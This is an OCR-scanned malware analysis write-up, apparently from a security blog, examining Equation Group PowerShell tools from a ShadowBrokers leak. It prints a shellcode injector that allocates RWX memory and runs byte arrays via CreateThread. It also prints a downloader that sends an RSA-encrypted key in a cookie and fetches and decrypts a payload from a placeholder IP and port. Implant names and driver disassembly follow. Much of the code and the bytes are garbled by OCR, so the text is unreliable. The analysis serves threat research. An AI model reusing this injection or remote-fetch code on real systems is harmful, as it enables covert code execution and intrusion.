898, Bx3c, Bx25 , Bxbé, Bxie , Bxeb, Bxbf , 8x98, Bxdf , Bx50, Bxih, Bxdd, Bxib , xdd , 6x72,8xBh, BxB3,8x1b,8xe2,0
8x31, %18, Bxb3, Bxaa, BxBh, BxdS, Bx37,8x38,8x59, Bx7c , BxIc, BxTe , Bx50, BxIc, 8x77,8x90, Bxlc, Bx55,Bx40, 0
Bxf1,8x22,8x4b,Bx6e, 837, 8x17, Bxas, Bxed , Bxad, Bx82 , Bxd 1, Bx6a, Bx3 T, Bxc5, B89, Bxce, Bx59, BxET, Bxe7,0
Bx58, 8x67, BxET , B0, Bx50, 8x13, Bx3d, 8x25 , BxcE , Bx48 , 8xB2, Bxcd, 8xIc, 8xds, 8xas, BxSe, Bxda, Bx3e 862, 8
@xbf , @x85, Bxfc,@x5d, Bx93,8x73, 863, Bx64, Bxad, BxB7 , Bxbc, Bxfr, 8x91, 012, Bx1ld,, Bx0S, Bx11,8x47,8x84,0
@xd4, 0x44, 0%37,@x%d2, Ox21,8x91, Bx15,8x6e , Bxe 1, Bx34, 0x64, 0x19, 0%49,0x5e, 0x7d , 871, @x76, @xed , 0xF3,0
@xla,@xda, @x3e,@xde, @xcl, Bxbe, xat,0x04,0xa8, 0x40,8x65,0x1a,8x70,0xE5, 0x25,8x15,0xd2,8x45,0xb3,0
@29, 0xe7, 0xc2, Bxds, Bxal, Bxdf, Bxh2, 8x28 , @xcd, BxdE , 8x1e, Oxac, 0xf7, Oxdd, @xcc, 8x98, Bxdc, Bxh7,8xEC, @
@xb3,8x55, 0x5a,@x3b, Bx27,Bx6E, Bxed, Bx00, Bx17, Bx15 , 0x56, 0x14, Oxd6, 0x35, Oxd1,8x19, Bx5T,8x96,0x14,8
0x76,0x43, 0x54,0x43,0x7a, Bxbc, Bx=1,8x1d, @x6a, 0x55,0x52, 8x6h, 0xd 2, 0x00, xeb,8x81, Bxcd,, Bxb7,0xF5,0
Bx7b, 0x23, xdd , Bxdd , Bxed,, @x5h, Bxed, 8x90,0x01 , Bx3a, 8xd2, Bxd5, 0x27,0x41, 6x58,8x5a,0x63,8x1c, Oxdb, @
[Byte[]] $Instructionséd = @()

$virtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc

$virtualallocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$virtualalloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($Virtual
$VirtualFreeAddr = Get-ProcAddress kernel32.dll virtualFree

$virtualFreeDelegate = Get-DelegateType @([IntPrr], [uint32], [UInt32]) ([Bool])

$virtualFree = [System.Runtime, InteropServices.Marshal]::GetDelegateForFunctionPointer($Virtuals
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread

$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [In
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateT
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$waitForSingleobject = [System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer($
Inject-Locallnstructions

Start-process

$IsWows4Processaddr = Get-ProcAddress kernel32.dll IsWowsdProcess

if ($IsWows4ProcessAddr)

{

$IsWowb4ProcessDelegate = Get-DelegateType @([IntPtr], [Boel].MakeByRefType()) ([
$IsWowb4Process = [System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctio
$64bitCPU = Strue

1

else

{ $6abitCPU = $false }

if ([IntPrr]::size -eq 4)

{ $Powershell32bit = Strue }

else

{ $Powershell3zbit = $false }

[Byte[]] $Instructions32 = @(@x68,0xc@,@xle,0x080,0x00,0xe8,0x00,8x00 ,0x00, Ox00, Bx
@xc?,0xa, 0xa7,Oxfa, 0x05 , 8xdc, x91, 0x00,8x6c,Bx09,8x19, Bx19, 8xSe, 8xd2, Oxb T, 0x0d, 0
8x7b,8x17,8x4f ,8xb5, Bxfb,8xd7, @xbc,8x82,8x3b,@xe? , 8x5c, Bxfb,8xcl , @xca,Bxdd, @x0b, 8
Bx57,@xee, 8x5f,8xa0, Bxe2, 0x7F,Bxc2, BxTe, 864, Bxb6, Bxel, Bx24,8xBe ,8x2d , Bxec,8x5f ,@
Bxb2,8x86, 8x48,8x29, BxBb, 8x68, Bxb7, Bxec,Bxd3, Bxc3, Bx7e, Bxf T, Bxb5, 860, B35, 8xd9, @
@xe6 ,Bxdc, Bxcd , 8x53, Bx81,8x95, Bxda, 8x39, 8xcc, Bxed, 8x7d, Bx3c, Bxd1,BxBa, Bxbf , 8xbf 8
8x93, 088, Bx16 , 8x15, Bx5F , Bx4F , Bx31,8xc5, Bxc 7, Bx42 , Bxda, Bx3f, 8x11,8x23, Bxab, 8x43, 8
8x35,8xb@, Bx18, Bx54, Bx45 , BxBF, Bx6F, BxaT, 8x03,Bx22 , 8x47, BxBd, 895, B%68 , Bxab, 8x73,08
@xab,@xff,ex37,8x28,Bxel, Bxfe, BxcE, Oxbe , BxdS, Bx48, @xcl, Bxc5, Bxba, @x9T, @nTE, Bxda, 0
8xd2,@xe7,8x97,8x61, Bxea, 8x20, 0x3b, 8x3e, 0xf 8, Bx62, 8x83, Bx7, 8x1a, 0x03 ,BxSe , 0328, 0
8x93,0x88,8x3c,8%25, Bx4h, 833, 0x75,8x%7b, @x5e, @xf9, 8x91, Bx1e, 8xBb, 0x28 , Bxch, Bxec, @
Bx61,0x9c, @x92,8x22,8xc7 ,@x51, 0x8T, @xat ,@x5h, @xch, @xbb, 0x32,8x15,8x68,0x2d,8x71,0
@x6e,0x11,0x%26,8x79, %06, 8x20, 0xcT, @x6d, 8x63, Bxad, @xta, Oxa5, 8xf7,0x35, @xbd, 0xde, 0
8xB7,0x85, 6xef ,xdc, Bx47,8x78, 0x8a, 8x2d ,@x2e, Bxfe,8xb2,Oxd3,8xal,@x51,8xc5,0x38,0
8xef,exad, 8xd7,8x3b,8x78,08x95,0xa7,8x52,8xd7,0xcl,8x78, 8x36,0xe7 ,8x5d, @x47 ,8x98,@
B85, 8xF4, Bxac 836, Bx64,8x53, Bx@, Bxd7 , Bx5e , Bxbe, Bxaa, BxB5, 8x26,8xb3, BT, 8x54,8
@8xf9,8xdS, Bxdd , 8x16, Bxib , 8x50, 8x22, Bxdb , 8x49 , Bxe2 , 8xDF , Bxbl, Bx6c ,8x97,0x92, 8x06, 8
8x32,0x58, Bxfe ,Bx08, Bx78 , Bxd1, Bx32, Bx2c , Bxce, Bxde, Bxa7, Bx43, Bxab, BxB1,8x57,8%32, 08
8x72,8x3a, @x23, Bx2a, Bx3b, B35, Bx4d, Oxe2, Bxc@, Bx4, BxfF, Bxa7,@x7c , Bxld, BxdS, BXEE, B
@x12,8x23, 8xed , Bxdc, Bx39,8x5e, Bxab, @x2b, 8x50, Bxfd, 8x9d, BxbE , @xdd , 8x01 ,8xcE, BxEe, @
@xbb,@x7e, Bx86 ,8xbe, Bxfh, 8xbe, Bxa7, 8xak , @xJe , 65 , 8x63, Bxal, 8x36,0x38,8x55, 8xd5, @
@xE7,0x94,0x2d ,0%26,0xba,@xa5,0xc4,@%5¢,0x%5d,@x13 ,8xa7, @xde , @%16,@xB8 ,0x57 ,Oxdf ,@
@x8c,0x68,0x53,@xbT, xa6, 0xT4, @4, @x80,0x16, @66, @xT4, 0xd5, @x70,@xTc, @xaT,0x=4,0
@xbe ,@xdS,8xf0,@xes, Bx59,8xc2, 0x92,0x8a,8x95,8xdd , @xad, 0x83,8xed , xbf ,OxdT,8x7c, @
8xd7,@x3e,6x74,8xF6, Bx64,8xb@, @x3c, Bxak,@xb7, Bx3c,8xB3, Bx45, 8xc4, @xc5, @xfc, @xcc, @
@xee,0xf6,6x3b,0x31,6x3b,08x65,0x52,8x2d,0x35,6xd3, 8x37, %65, 8xBc,0x16,0x%91,0x94,0
@xdc,Bxcl, Oxd2,8x19, 0x43,80x71, Bxas, 0x40,8xc9,Bx37,8x7e, Bx5e, 8xBO, Bxaf , Oxe' , 0xb3,0
[Byte[]] $Instructions6d = @()

SvirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$virtuslallocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]
svirtualalloc = [System.Runtime.InteropServices.Marshal)::GetDelegateForFunctionP
SVirtualFreeAddr = Get-ProcAddress kernel32.dll virtualFree

$virtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Beel])
$virtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateFerfunctionPo
SCreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
SCreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr]
$CreateThread = [System.Runtime.IntercpServices.Marshal]: :GetDelegateForFunctionP
$WaitForsingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
SWaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]: :GetDelegateForFu
Inject-Locallnstructions

Start-process

This series of bytes which appears to be some kind of prologue probably a decoder for the
rest of the shellcode. What does it do, how does it work? Well that, we’re afraid, is for part 2
as we’ve spent too much time away from the family already this easter ;0)

“oow £

0x68,0xcO, Oxle, Ox00, OXx00, Oxe8, OXx00, OXx00, OXO0, OXO0, Ox58, Ox83, OxcO, OXxOb, Ox50, Oxff, Oxd0O, €
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¥ Results » 50L IL  Tree

function Start-process
i
[CmdletBinding( DefaultParameterSetName = 'RunlLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (

)
Set-StrictMode -Version 2.0
function Local:Get-DelegateType

Param

{ [OutputType([Typel)] [Parameter{ Position = 0)][Type[]] sParameters = (New-Object Type[1{0)),

[Parameter( Position = 1 )][Typel$ReturnType = [Void] )

$Domain = [AppDomain]::CurrentDomain

$DynAssembly = New-Object System.Reflection. AssemblyName('ReflectedDelegate')

$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynaAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)

$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = 5TypeBuilder.DefineConstructor{' RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed")

$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', "Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')

Write-Output $TypeBuilder.CreateType()

¥

function Local:Get-ProcAddress

Param

( [OutputType([IntPtr])] [Parameter( Position = 0, Mandatory = $True )][String]$Module,
[Parameter( Position = 1, Mandatory = $True )]1[String]$Procedure )

$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |

Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split("\\')[-1].Equals('System.dll") }
$UnsafeMativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = sUnsafeMativeMethods. GetMethod('GetModuleHandle")

$GetProcAddress = $UnsafeNativeMethods. GetMethod('GetProcAddress')

$Kermn32Handle = sGetModuleHandle. Invoke($null, @($Module))

$tmpPtr = New-Object IntPtr

%HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
¥

function Local:Inject-LocalInstructions
{

if ($PowerShell32bit) {

if ($Instructions32.Length -eq 0)

{ Throw"

return

$Instructions = $Instructions32

else

{

if ($Instructions64.Length -eq 0)
{ Throw "

return ¥

$Instructions = $Instructions64

$BaseAddress = sVirtualalloc.Invoke([IntPtr]l::Zero, $Instructions.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)

{ Throw "" }

[System.Runtime.InteropServices.Marshal]:: Copy(%Instructions, 0, $BaseAddress, sInstructions.Length)
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread

$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $BaseAddress, 0, 0, [IntPtr]::Zero)

if (!$ThreadHandle)

{ Throw " }

$WaitForSingleObject.Invoke($ThreadHandle, OxFFFFFFFF) | Out-Null

$VirtualFree.Invoke($BaseAddress, $Instructions.Length + 1, 0x8000) | Out-Null

$IsWow6G4ProcessAddr = Get-ProcAddress kernel22.dll IsWow64Process
if ($IsWow64ProcessAddr)
{

$IsWowb4ProcessDelegate = Get-DelegateType @([IntPtr], [Bool]l.MakeByRefType(}) ([Bool])

$IsWowb4Process = [System.Runtime.InteropServices.Marshal]: : GetDelegateForFunctionPointer(SIsWowb4ProcessAddr, $sIsWow6s4ProcessDelegate)
$64bitCPU = $true

T

else

{ S64bitCPU = $false 7

if ([IntPtr]::Size -eq 4)

{ sPowerShell32bit = $true
else

{ sPowerShell32bit = sfalse }
[Byte[]] SInstructions32 = @

This kinda looks familiar....

Now the great irony in a dump like this is finding code that appears to have come from
GitHub but doesn’t appear to have the same licence or any at all for that matter [1]. This
script is built from file called ps_base.txt. This is primarily used to dynamically build a type
that will eventually hold a function pointer to a native function. This is then used to store the
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fp’s for native functions Win32 functions such as VirtualAlloc[2], GetProcessAddress[3] &
GetModuleHandle[4] that can be used to perform some actions such as allocating memory

and looking up the addresses of exports within DLL’s. Further are shown in this screen shot:

{ SPowershel13zbit = $trie }
Tse
{ Spowershell32bit = $false }

ByTe $Instructions32 = @()
Byte §Instructions6d = @
$virtualallocAddr = Get-ProcAddress kernel32.d11 virtualalloc

Svirtualallocpelegate = Get-DelegateType @([InmtpPtr], [uInt32], gu]ntiz] [uint32]) ([IntPTr])

Svirtualalloc = [System.Runtime.Interopservices. Marsha1] :GetDelegateForFunctionPointer ($virtualallocaddr, $virtualallocpelegate)
SvirtualFreeAddr = Get-ProcAddress kernel32.d1] virtualFree
SvirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [uiInt32]) ([Bool])

$virtualFree = [System,Runtime, InteropServices.marshal]::GetDelegateForFunctionPointer (3virtualFreeaddr, $virtualFreebelegate)
Screatethreadaddr = cet-procaddress kernel32.d11 createrhread

SCreateThreadDelegate = Get-DelegateType G([Intptr], [UInt32], [IntPtrl, [IntPtrl, [UInt32], [IntPtrl) ([TntPtrl)

screateThread = [System.Runtime. InteropServices.marshal]: :GetDelegaterorFunctionPointer (3CreateThreadaddr, $CreateThreadbelegate)
swa1trur51ng1eob ectAddr = Get-ProcAddress kernel32.d11 waitForsingleobject

Swa1trur51ng1eobie:tbe1egate = Get-DelegateType @([IntPrr], [Int32]) ([Int])

SwaitForsingleobject = [System.Runt"mz.Interopserwces.narsha'l]::GetD«e'IEgatEFDrFun:tinan'nter (SwaitForsingleobjectaddr, SwaitForsingleobjectbelegate)
Inject-LocalInstructions

Now the method to create the delegate’s used in the above code is:

prerrar sy ey —ra

[ R
B powershelify.pyc 4715 Compiled aKkB
B powershellify.pyo 411472 Compiled Py 9K8

| ps_baset 403 Text Document BKB
A ZPOpy 4137201 Python File 20 KB
=

.
B b bese e - Notepadt o B ]

i File Edit Format View Help

function start-process

§CMdlets1nd1ng( pefaultParametersetiame = 'RunLocal’, supportsshouldProcess = $True , ConfirmImpact = "High')] Param (

d set-strictvode -version 2.0
Eunct1cn Local:Get-DelegateType
Param
[ Eautputryue([Type])] [Paramecer( position = U)]ETypeE]% Sparameters = (New-Object Type[]1(0)),
ter( Position = 1 )][Type]SReturnType =
jpomain = %Appbomaing currentoomain
§Dynasse: = New-Object system.Reflection.AssemblyName('reflectedDelegate’)

$assemblyguilder = $pomain. Definepynamicassembly (s ssembly, [system.Reflection.Emit.assemblyguilderaccess]::Run)

$ModuleBuilder = $A555mb'l¥aui'lder.DeF'ineD\rnam'icMndu e(’ Imemrwndu'le sfalse

§TypeBuilder = $ModuleBuilder.DefineType( MyDelegate e', 'Class, P b‘i1c, Sealed, Ans1c'|ass, autoclass’, [System.MulticastDelegate])
$constructorguilder = §TypeBuilder. Def 1neconstructor( kTspecfa1Name nideBysiag, Puh11c [system.reflection.CallingConventions]::standard, $Parameters)
$censtructarau1]der.Setlmelamanta:1nnFWags( Run(wme Man ?

$MethodBuilder = $TypeBuilder.Definemethad( Invoke PubTic, HideBySig, NewsSlot, virtual', $ReturnType, $Parameters)
$MethodBuilder.setImplementationFlags(’Runtime, Managed )

write-output $TypeBuilder.CreateType()

}unctmn Local:Get-ProcAddress

Param
C [UutputTypE[[IntPtP])] [parameter( PDST(TDH = 0, mandatory = STrue )1[string]lsmodule,
Parameter( Position = 1, Mandatory = $True )][Str1ng]SPro(edure
§systemassembly = [AppDDmi]n] currgntDoma‘\n GetAssemblies() JI
ere-object { S_ ~Globalassemblycache -and $_.Location. split(\\ ) [-1]. Equa1s( system.d11°) }
junsafenativemethods = Ssystemassembly. GetType(’ Microsoft. win32. insafeNativeMetho
$GetModuleHandle = SunsafeNativeMethods.GetMethod(' GetModuleHandle’
$GetProcAddress = Sunsafenativemethods.GetMethod(’ GetProcaddress')
fkerni2Handle = ScetmoduleWandle. Invoke(Snull, @($module))
$TmpPTr = New-Object IntPtr
$Handleref = New-Object System.Runtime.InteropServices.Handleref(StmpPtr, SKern32Handle
write-output $GetProcAddress.Invoke($null, (?System Runtime. InteropServices,. Handleref]$Handleref, $Procedure))

¥
2unct10n Local:Inject-LocalInstructions

if ($powershell3zbit) {
if ($Instructions32.Length -eq 0)
oW
return
$instructions = SInstructions3z

else
i

Programmers (ourselves included) can be utter sticklers for formatting, so it is conspicuous
that there is such a big difference in formatting between the code in ps_base.txt vs
decryptor_downloader.base. It's almost as if ps_base.txt has come from somewhere else.

m
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[bvte[]]3modulus = @ (<MODULUS:) ;
[byte[]] $exponent = @ [(<EXPCOHENT>) ;

L Ra

£rng = New-Object System.Security.Cryptography.BNGCryptoServiceProvider;
frng.getBytes (54il1) ;
f£r=sa = New-Object System.Security.Cryptography.RSACryptoServiceProvider;

& L

fkevobject = New-Object System.Security.Cryptography.RSAParameters;
Skevobject.Hodulus = Smodulus;

fkevobject.ExXxponent = Sexponent;

10 Ersa.importparameters (fkeyvobject) :

Zputput = Srsa.encrypt(£il, $False);

Sr=a.clear|():

fbe4output = [Convert]::tobase6dstring (Soutput)

14 Swo = New-Object System.Net.Webclient;
Swo.Headers["Cookie™] = Sbhé4output:

f£a = Evwc.downloadsctring('http: /S /<IP>:<PORT>/«<FILENLAME>") ;
1 fencoding = WHew-Cbject System.Text.ASCIIEncoding;

Z2iv = [Conwvert]::FromBase6d4S5tring ('<IV>");

Z2data = [Convert]::FromBase6d45tring(%a):

Ebad_passwnrd = [System.BitConverter]::ToString($il);
$good password = #bad password -replace "\-","":;

$key = fencoding.GetBytes($good password):

5 LG OO

[}
B R

L

W o

L RA

Sfpassword = $sha sum.computehash ($key):

[Bvte[]]l %e = Spassword[0..15]:

£f = HNew-Object System.Security.Cryptography.BijndaelManaged;
£f.Padding = [System.Security.Cryptography.PaddingMode]::Zexos;
£f.Mode = [System.Security.Crvptography.CipherMode] : :CBC;
[Bvte[]l]l 5%h = Hew-Object Byte[] ($data.length):

2g = Ef.CreateDecryptor(se, £iv):

i = New-Object System.IO.MemoryStream(Sdata, £True):
i |

oL

[T ] ]

iy

[T LI L % [ % T T % I Y S T % )

[
iy

Well funnily enough it bears more than just a striking resemblance to some code from

Powersploit[1]; screenshots from GitHub are below. Surprisingly not too much effort has

been made to change the method names.

Esha_sum = New-Cbject Svstem.Securityv.Crvptographyv.ShalCryptoServiceProvider:

[byte[]18i1 = @(0x00,0x00,0x00,0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,{

Hew—-Cbject System.Security.Cryptography.CryptoStream(£i, £g, [System.Securit:
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function Local:Get-ProcAddress

{

Param

[outputType([IntPtr])]

[Parameter( Position = @, Mandatory = $True )]
[string]
$Module,

[Parameter( Position = 1, Mandatory = $True )]
[string]
tProcedure

# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
wWhere-object { $_.GlobalAssemblyCache -And $_.Location.Split('\\")[-1].Equals(’System.d11") }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod( ' GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress")
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)

# Return the address of the function
Write-output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))

And also...

function Local:Get-ProcAddress

{

Param
[outputType([IntPtr])]

[Parameter( Position = @, Mandatory = $True )]
[string]
$Module,

[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure

# Get a reference to System.dll in the GAC
$Systemassembly = [AppDomain]::CurrentDomain.GetAssemblies() |
wWhere-object { $_.GlobalAssemblyCache -And $_.Location.Split('\\")[-1].Equals(’System.dll") }
$unsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod( 'GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress")
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)

# Return the address of the function
Write-output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
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The commit date for this code is...

History for PowerSploit / CodeExecution / Invoke-DllInjection.ps1

Commits on Jan 21, 2013

Added ‘'CodeExecution’ Module - B a2sadee o
bitform committed on Jan 21, 2013

And as stated above we have a built date of July 2013; does this mean we will find
StackOverflow answer code within the dump at some point?

But anyway back to makedmg.exe running it we get this list of other implants that are not in
this dump; obviously still a lot out there.
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Executahle Information:
* Ueprzion: 4.4.8
* Revision: r533

* Built: Jul 12 2813

Uzage: makedmgd.exe
test_C(dlliexel
output.bin
EBEhitlE4hitlwqu4)

C =~ EGRP~windows“Resources*0ps~Tools~ZiPo*makedmngd.exe

= File Modified: Thu Jul 11 13:26:33 20813

dae DROPNAME TEMFMAME TEMFFREFIX

HUHM_SY¥SDIRE WUM_TEMPDIRE

SYSDIR1 SYSDIR2... TEMFDIR1L TEMFDIRZ. ..
disztantuncle
finkdifferent
finkdifferent_nothread
finkdifferent_ghostlyhammer
verif ytorpid
verifuytorpid_nothread
verif ytorpid_ghostlyhammer
verifuytorpid_n
verif ytorpid_n_nothread
verifuytorpid_n_ghostlyhammer
named_distantuncle EXPORTHAME
named_finkdifferent EXPORTHAME
named_finkdifferent_nothread EXFPORTHAME
named_finkdifferent_ghostlyhammer EXPORTMAME
named_verifytorpid EAPORTHAME
named_verifytorpid_nothread EXPORTHAME
named_verifytorpid ghostlyhammer EXPORTHMAME
named_verifytorpid_n EXPORTHAME
named_verifytorpid n_nothread EXPFORTHAME
named_verifytorpid_n_ghostlyhammer EXPORTHAME
ordinal_distantuncle HORDIMAL
ordinal finkdifferent HORDINAL
ordinal finkdifferent_nothread H#ORDINAL
ordinal_finkdifferent_ghostlyhammer HORDIMAL
ordinal_verifytorpid HORDIHNAL
ordinal _verifytorpid_nothread HORDIMAL
ordinal_verifytorpid ghostlyhammer HORDIMAL
ordinal_verifytorpid_n HORDIMAL
ordinal_verifytorpid n_nothread HORDIMAL
ordinal_verifytorpid_n_ghostlyhammer HORDIMAL
peddlecheap
ordinal_peddlecheap HORDIMAL
peddlecheap_b #ibehavior
ordinal_peddlecheap_b HORDIMAL #hehavior
named_envoy EXPFORTHAME
ordinal_envoy HORDIMAL
named_envoy_verif ytorpid EXAPORTHAME
ordinal_envoy_verifuytorpid HORDIWAL
named_envoy_verifytorpid n EXAPORTHAME
ordinal_envoy_verifutorpid_n HORDIMAL
named_finkdifferent_n EXPORTHAME
named_finkdifferent_n_nothread EXPORTNAME
named_f inkdifferent_n_ghostlyhammer EXPORTHAME
ordinal finkdifferent_n HORDINAL
ordinal finkdifferent_n_nothread HORDINAL
ordinal_finkdifferent_n_ghostlyhammer HORDIMAL

DOUBLEPULSAR

From analysis we did on some implant configuration files, Darkpulsar appears to create a
service called ‘dapu’ It also seems that when it upgrades itself it drops the new file using the

following path: ‘c:\windows\system32\sipauth32.tsp’.
We also had a look at tdip.sys driver.

(sha256:
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AS5EC4D102D802ADA7C5083AF53FDI9D3C9B5AA83BEIODES8DBB4FAC7876FAF6D29)
We found same magic DWORDs as those mentioned by Kaspersky Labs in the following
link: https://securelist.com/blog/incidents/75812/the-equation-giveaway/ which contains
information from a previous ‘ShadowBrokers’ dump.

The following code snippet is taken from tdip.sys:

text:000130A0 push 31h

.text:000130A2 lea eax, [ecx+4]

.text:000130A5 movsd

.text :000130A6 mov dword ptr [ecx], OB7E15163h <--------------
.text:000130AC pop edx

.text:000130AD

.text:000130AD loc_130AD: ; CODE XREF:
sub_13084+38

.text:000130AD mov esi, [eax-4]

.text: 00013080 sub esi, 61C88647h <------------
.text:000130B6 mov [eax], esi

.text:000130B8 add eax, 4

.text:000130BB dec edx

.text:000130BC jnz short loc_130AD

This driver was most probably used to capture network traffic and it also accepts IOCTLs
from userland. There is probably a relation between this driver and
“TrafficCapture_Target.dll” module that we found inside the recent ShadowBrokers dump,
which we noticed that it is able to communicate with a kernel driver via IOCTLs.

Conclusion

Keeping in mind that this is a subset of the techniques that the Equation Group had in 2013,
we still find it pretty interesting that just like the rest of the world they were starting to wake
up to the potential of offensive PowerShell. The lack of any obfuscation i.e attempt to hide
any of the decryption/download code was another surprise too considering how much “effort”
has gone into encrypting the payload over the network at that point. The source of some of
the code is intriguing, too.

But back to the initial thoughts, we probably can be sure that this code was from 2013. Is it
possible that Ed’s assertion the “hacker squatting lost access in June” may be flawed and
they had access until at least the first couple of weeks in July. Assuming SB and no one else
has tampered with the metadata within DAMAGEDGOODS, then yes.
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